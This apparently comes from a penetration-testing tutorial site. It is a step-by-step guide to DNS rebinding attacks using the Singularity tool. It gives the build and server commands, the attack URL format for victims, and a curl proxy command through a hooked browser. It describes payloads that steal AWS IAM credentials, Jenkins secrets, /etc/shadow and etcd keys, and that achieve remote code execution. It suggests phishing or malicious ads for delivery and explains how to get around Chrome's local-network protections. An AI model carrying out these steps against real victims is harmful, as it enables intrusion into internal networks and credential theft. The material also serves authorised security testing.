Skip to content
HackIndex logo

HackIndex

DNS Rebinding – Bypass SOP to Reach Internal Services

4 min read Mar 11, 2026

DNS rebinding abuses the browser's same-origin policy by causing a domain you control to resolve to your attacker server first, then rebind to a target internal IP. The victim's browser, already running your JavaScript, continues to make requests to the same origin — but is now talking to the internal service. The browser enforces SOP based on the domain name, not the IP, so once rebound the script can read responses it otherwise could not.

This is useful against internal services that expose unauthenticated HTTP APIs on localhost or LAN addresses: Docker API, Jenkins, Kubernetes dashboards, etcd, AWS metadata endpoints, Ollama, development servers, and similar targets.

You need a domain with editable NS/A records, a VPS to run the attack infrastructure, and a way to get the victim's browser to load a page you control — phishing, malicious ad, or access to an internal user during a physical or social engineering engagement.

Setting Up Singularity

Singularity is the standard tool. It ships a custom DNS server, an HTTP attack server, and a payload library. Clone and build it on your attacker machine:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/nccgroup/singularity
┌──(kali㉿kali)-[~]
└─$ cd singularity/cmd/singularity-server
┌──(kali㉿kali)-[~]
└─$ go build

Point your domain's NS record at your VPS. Also set a wildcard A record for the domain to your VPS IP. Singularity needs ports 53 (DNS) and 8080 (manager UI) at minimum, plus whatever port the target service runs on.

Start the server:

┌──(kali㉿kali)-[~]
└─$ sudo ./singularity-server --rebindingFn dnssearch --port 8080

Access the manager UI at http://<your-ip>:8080/manager.html.

Running an Attack

In the manager UI, set:

  • Manager Host: your domain

  • Target Host: the internal IP you want to reach (e.g. 192.168.1.10)

  • Target Port: the service port (e.g. 8080 for Jenkins, 2375 for Docker)

  • Attack Payload: select from the built-in list or use simple-fetch-get to grab the root page

Send the victim the attack URL, which looks like:

┌──(kali㉿kali)-[~]
└─$ http://s.<your-domain>:8080/attack?targetHost=$TARGET_IP&targetPort=$PORT&attackHostDomain=<your-domain>&payload=<payload-name>

Once the victim loads the page, Singularity's DNS server alternates between responding with your VPS IP and the target internal IP. When the TTL expires and the browser re-resolves, it gets the target IP. The JavaScript payload, already running under your domain origin, now sends requests directly to the internal service and exfiltrates responses back to your server.

Rebinding typically completes in under 10 seconds in Chrome and Firefox under optimal conditions.

Built-In Payloads Worth Using

Docker API (docker-api.js) — dumps /etc/shadow from the Docker host if the daemon is exposed on port 2375 without TLS.

Jenkins Script Console (jenkins-script-console.js) — exploits the Groovy console to extract stored credentials and execute commands.

AWS Metadata Exfil (aws-metadata-exfil.js) — forces the browser to retrieve http://169.254.169.254/latest/meta-data/ and exfiltrates IAM role credentials.

etcd dump (etcd.js) — retrieves all keys and values from an exposed etcd instance, which often contains Kubernetes secrets.

Rails Console RCE (rails-console-rce.js) — achieves RCE on exposed Rails web consoles.

WebPDB RCE (webpdb.js) — exploits Python debuggers exposed via WebSocket, common in misconfigured dev environments.

Hook and Control – Browser as a Proxy

Hook and Control is the most operationally useful capability for internal network pivoting. Instead of targeting a single service with a static payload, you hook the victim's browser and use it interactively as an HTTP proxy to reach anything on the internal network.

Once a browser is hooked, it appears at:

http://soohooked.<your-domain>:3129/

Authenticate with the secret printed by Singularity on startup. From there you can browse internal services through the victim's browser context, including services on subnets you cannot directly route to.

To use it with curl or Burp, set the proxy to soohooked.<your-domain>:3129 and point requests at internal addresses:

┌──(kali㉿kali)-[~]
└─$ curl --proxy http://soohooked.<your-domain>:3129 http://$TARGET_IP:$PORT/api/v1/secrets

Chrome Local Network Access (LNA) Restriction

As of Chrome 136+ (released late 2025), Chrome enforces Local Network Access controls that block non-secure contexts from initiating requests to local/private IP ranges. This breaks the rebinding chain for Chrome users unless the attack page is served over HTTPS.

Singularity has a branch (LNA-from-Non-Secure-Contexts) that implements the Trial for Local Network Access from Non-Secure Contexts, which restores functionality until May 2026 when this trial expires. Firefox and older Chrome builds are not affected.

For current Chrome targets, serve your attack page over HTTPS and use the LNA branch of Singularity.

References